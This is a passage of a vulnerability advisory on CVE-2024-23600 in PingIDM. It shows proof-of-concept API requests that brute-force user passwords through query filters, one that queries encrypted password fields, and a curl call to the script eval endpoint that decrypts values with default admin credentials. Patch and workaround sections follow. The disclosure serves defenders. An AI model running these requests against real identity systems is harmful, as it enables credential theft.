Vulnerability overview/description:
-----------------------------------
1) Query Filter Injection (CVE-2024-23600)
Ping Identity PingIDM (formerly known as ForgeRock Identity Management) versions
7.5.0 and below, enabled an attacker with read access to the "User" collection,
to abuse API query filters in order to obtain managed and/or internal user's
passwords in either plaintext or encrypted variants, based on configuration.
The API clearly prevents the password in either plaintext or encrypted to be
retrieved by any other means, as this field is set as protected under the
"User" object.

However, by injecting a malicious query filter, using "password" as the field to
be filtered, an attacker can perform a blind brute-force on any victim's user
password details (encrypted object or plaintext string).

This blind brute-force can be very efficiently conducted since the query filtering
supported by the PingIDM API supports versatile operators such as Starts-With ('sw')
or Contains ('co') etc. The sole limitation in this approach is case-insensitivity
in the above-described filters adding an additional guessing overhead.

The issue potentially extends to all protected fields of custom or built-in
collections, but this remains to be tested.

Proof of concept:
-----------------
1) Query Filter Injection (CVE-2024-23600)
Two proof of concepts will be provided, one for version 7.3.0 and one for 7.5.0.

PoC 1 - PingIDM (v7.3.0) - configured to store plaintext user passwords
In the vulnerable instance running in this example (version 7.3.0), SEC Consult
created a test user with the following credentials: `secUser1:aAqQ1234!`.
A benign query filter in PingIDM can be crafted from the administrative
UI to filter, for example, users by their username (the password field is not
presented as available for filtering in the UI):

HTTP Request
```
GET /openidm/managed/user?_queryFilter=userName+sw+"sec" HTTP/2

}
```

Note in the request/response pair above, that the query filter sent over the
presented API request was used to query all users with 'userName' starting
('sw') with the string "sec". As expected the test user 'secUser1'
was returned. In addition, observe that the password field is never to be
returned in any form (plaintext or encrypted) by the API.

Despite not being available for filtering in either the UI or API documentation,
the 'password' field can be used instead of 'userName' in the example above
to query users based on their password. In case the PingIDM instance has been
configured to store user passwords persistently in plaintext, it can be queried
directly as shown in the request below:

HTTP Request
```
GET /openidm/managed/user?_queryFilter=password+sw+"a" HTTP/2
Host: $HOST
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]

}
}
],
"resultCount": 1,
"pagedResultsCookie": null,
"totalPagedResultsPolicy": "NONE",
"totalPagedResults": -1,
"remainingPagedResults": -1
}
```

As it can be noticed in the request above, all users with a password starting
with 'a' (case insensitive) were queried and as expected, user 'secUser1' with
password 'aAqQ1234!' was returned. For an additional sanity check, SEC Consult
next queried all users with password starting with 'aR'. Since no users are
to be found in the deployed instance with a matching password, no entries
are returned as it can be seen below:

HTTP Request
```
GET /openidm/managed/user?_queryFilter=password+sw+"aR" HTTP/2
Host: $HOST
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]

```

HTTP Response
```
HTTP/2 200 OK
Date: Wed, 10 Apr 2024 13:08:01 GMT
Content-Type: application/json;charset=utf-8
Content-Length: 138

{
"result": [],
"resultCount": 0,
"pagedResultsCookie": null,
"totalPagedResultsPolicy": "NONE",
"totalPagedResults": -1,
"remainingPagedResults": -1
}
```

However, if the attacker correctly guesses the second letter of the password,
e.g., by querying for passwords starting with 'aA', we observe that the same user
is returned as before:

HTTP Request
```
GET /openidm/managed/user?_queryFilter=password+sw+"aA" HTTP/2
Host: $HOST
Cookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]

{

{

}
}
],
"resultCount": 1,
"pagedResultsCookie": null,
"totalPagedResultsPolicy": "NONE",
"totalPagedResults": -1,
"remainingPagedResults": -1
}
```

This indicates that an attacker can efficiently brute-force users' passwords.

PoC 2: PingIDM (v7.5.0) - configured to store encrypted user passwords
PingIDM by default stores a user's password encrypted symmetrically using a
private key that is created upon the first startup of the platform and is
stored in the application key-store under '{installation-path}/security/keystore.jceks'.
The encrypted password is represented by an object rather than a string. An example
of an encrypted password JSON object is shown below:

```
"username" : "anonymous",
"password" : {
"$crypto" : {
"type" : "x-simple-encryption",
"value" : {
"cipher" : "AES/CBC/PKCS5Padding",
"stableId" : "openidm-sym-default",
"salt" : "9fwdc+Vp1LxDno0YC6bXAA==",
"data" : "JtFAY+EupwCSLbH06d5OPA==",
"keySize" : 16,
"purpose" : "idm.config.encryption",
"iv" : "Aaek9zviMgZVz/fvOOobIQ==",
"mac" : "IhKQTvyjcJqw1aW5BMBZpQ=="
}
}
},
```

While at first glance this object structure seems to break the query filter
injection from the previous example, it was found that all encrypted password
fields can be queried in the exact same way using the '_queryFilter' GET
parameter, and by fully specifying their path within the JSON object, for
example:

```
GET /openidm/managed/user?_queryFilter=password/$crypto/value/data+sw+"J"
```

The above request can be modified to include all other fields such as cipher,
salt, data, iv, mac, etc. Obtaining a cleartext password in this example,
would be clearly more challenging, as it would entirely depend on the security
of the encryption key utilized. However, under certain circumstances
(subject to user permissions), users in PingIDM can use the REST API to decrypt
encrypted objects without the need for the key, as shown in the documentation:

```
curl \
--header "X-OpenIDM-Username: openidm-admin" \
--header "X-OpenIDM-Password: openidm-admin" \
--header "Content-Type: application/json" \
--cacert ca-cert.pem \
--request POST \
--data '{
"type": "text/javascript",
"globals": {
"val": {
"$crypto": {
"type": "x-simple-encryption",
"value": {
"cipher": "AES/CBC/PKCS5Padding",
"stableId": "openidm-sym-default",
"salt": "qAS/eG7zdnFyK5H8lXvqTA==",
"data": "zewf6hR1yjp34EFJqUGpdnzzFCPJs2IaX4V97jdQlSI=",
"keySize": 16,
"purpose": "idm.password.encryption",
"iv": "A4pIiY6kG6t0uLyLmJAoWQ==",
"mac": "sFDJqg0Mmp0Ftl+1q1Bjzw=="
}
}
}
},
"source":"openidm.decrypt(val);"
}' \
"https://$HOST/openidm/script?_action=eval"
{
"myKey": "myPassword"
}
```

Solution:
---------
The vendor provides patches for the affected versions which can be downloaded from
their download site. Furthermore, the upcoming release 8.0 includes the fixes as well:
https://backstage.forgerock.com/downloads/browse/idm/all/productId:idm

Vendor security advisory with further information:
https://backstage.forgerock.com/knowledge/advisories/article/a95212747

Workaround:
-----------
For custom roles, a granular permission selection can be made on all
object's fields allowing 'Read', 'Read/Write', and 'None' access options.
In the User object, the 'password' field is configurable to these
permissions as well, even though this field can never be retrieved
or read from any API endpoints or UI (rightfully so). If the
permissions for the 'password' field under the user role are set
to 'None', this will prevent also queries from being executed on
that field. By default, when assigning read permissions to an object,
all fields are marked as 'Read', as expected, therefore this change
needs to be done manually.

Unfortunately, for built-in roles, e.g. 'openidm-admin', these granular
permissions cannot be set, therefore this workaround won't work.
